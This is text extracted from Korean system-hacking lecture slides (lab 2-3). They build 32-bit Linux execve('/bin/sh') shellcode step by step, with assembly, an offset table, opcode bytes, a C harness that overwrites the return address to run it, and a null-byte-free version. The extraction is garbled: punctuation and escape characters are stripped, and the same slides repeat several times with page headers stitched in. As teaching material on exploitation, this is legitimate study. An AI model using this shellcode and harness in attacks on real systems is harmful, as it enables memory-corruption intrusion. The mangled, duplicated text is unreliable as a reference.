movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 94: 80×86  시스템에 대한 이해

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 95: 80×86  시스템에 대한 이해

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 96: 80×86  시스템에 대한 이해

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

